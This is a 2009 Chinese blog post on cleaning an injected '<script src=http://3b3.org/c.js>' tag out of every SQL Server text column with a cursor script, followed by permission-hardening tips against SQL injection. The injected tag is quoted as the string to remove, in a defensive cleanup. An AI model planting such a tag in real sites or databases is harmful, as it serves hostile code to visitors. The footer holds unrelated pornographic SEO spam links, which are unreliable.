<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    2009-04-22 12:15
    如何最快速度刪除?
    " <script src=http://3b3.org/c.js> </script> "
    ---------------------------------------------------------------
    進入SQL查詢分析器
    選擇你的數據庫
    第一步:先sql表修改所有者為dbo
    EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '

    第二步:統一刪除字段被掛的js

    declare @delStr nvarchar(500)
    set @delStr= ' <script src=http://3b3.org/c.js> </script> '

    set nocount on

    declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
    declare @sql nvarchar(500)

    set @iResult=0
    declare cur cursor for
    select name,id from sysobjects where xtype= 'U '

    open cur
    fetch next from cur into @tableName,@tbID

    while @@fetch_status=0
    begin
    declare cur1 cursor for
    --xtype in (231,167,239,175,35) 為char,varchar,nchar,nvarchar,text類型
    select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
    open cur1
    fetch next from cur1 into @columnName
    while @@fetch_status=0
    begin
    set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
    exec sp_executesql @sql
    set @iRow=@@rowcount
    set @iResult=@iResult+@iRow
    if @iRow> 0
    begin
    print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '條記錄; '
    end
    fetch next from cur1 into @columnName


    end
    close cur1
    deallocate cur1

    fetch next from cur into @tableName,@tbID
    end
    print '數據庫共有 '+convert(varchar(10),@iResult)+ '條記錄被更新!!! '

    close cur
    deallocate cur
    set nocount off
    ---------------------------------------------------------------
    徹底杜絕SQL注入

    1.不要使用sa用戶連接數據庫
    2、新建一個public權限數據庫用戶,并用這個用戶訪問數據庫
    3、[角色]去掉角色public對sysobjects與syscolumns對象的select訪問權限
    4、[用戶]用戶名稱-> 右鍵-屬性-權限-在sysobjects與syscolumns上面打“×”
    5、通過以下代碼檢測(失敗表示權限正確,如能顯示出來則表明權限太高):
    DECLARE @T varchar(255),
    @C varchar(255)
    DECLARE Table_Cursor CURSOR FOR
    Select a.name,b.name from sysobjects a,syscolumns b
    where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN print @c
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor
    posted on 2009-04-25 17:11 sanmao 閱讀(93) 評論(0)  編輯  收藏

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     

    常用鏈接

    留言簿(5)

    隨筆分類

    隨筆檔案

    搜索

    •  

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 中文字幕亚洲精品无码| 亚洲视频一区在线| 羞羞漫画页面免费入口欢迎你| 国产午夜亚洲不卡| 一级A毛片免费观看久久精品| 日本高清免费网站| 国产亚洲精彩视频| 亚洲精品麻豆av| 国产线视频精品免费观看视频| 精品国产亚洲男女在线线电影 | 老子影院午夜伦不卡亚洲| 热99re久久精品精品免费| 看一级毛片免费观看视频| 免费观看四虎精品国产永久| 黄色三级三级免费看| 亚洲中文字幕无码不卡电影| 久草免费福利资源站| www.亚洲日本| 国产免费av片在线播放| 美女网站在线观看视频免费的| 亚洲AV无码不卡在线播放| 黄色一级免费网站| 日韩亚洲欧洲在线com91tv| 无码人妻一区二区三区免费n鬼沢| 亚洲综合免费视频| 日韩视频在线免费观看| 特级毛片爽www免费版| 久久精品国产亚洲av成人| 国产一卡二卡四卡免费| 亚洲AV成人无码网天堂| 亚洲色婷婷综合开心网| 日韩在线永久免费播放| 亚洲老妈激情一区二区三区| 日韩在线播放全免费| 亚洲va无码va在线va天堂| 18成禁人视频免费网站| 国产成人高清亚洲一区91| 国产v亚洲v天堂无码网站| 无码永久免费AV网站| 日本免费精品一区二区三区| 精品国产亚洲一区二区三区|